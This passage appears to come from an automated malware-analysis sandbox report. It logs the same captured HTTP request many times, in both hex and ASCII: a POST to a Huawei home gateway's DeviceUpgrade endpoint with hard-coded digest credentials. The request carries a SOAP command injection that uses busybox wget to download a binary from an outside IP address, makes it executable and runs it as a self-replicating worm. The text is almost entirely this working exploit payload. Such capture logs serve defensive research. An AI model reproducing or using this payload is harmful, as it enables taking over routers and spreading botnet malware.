6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 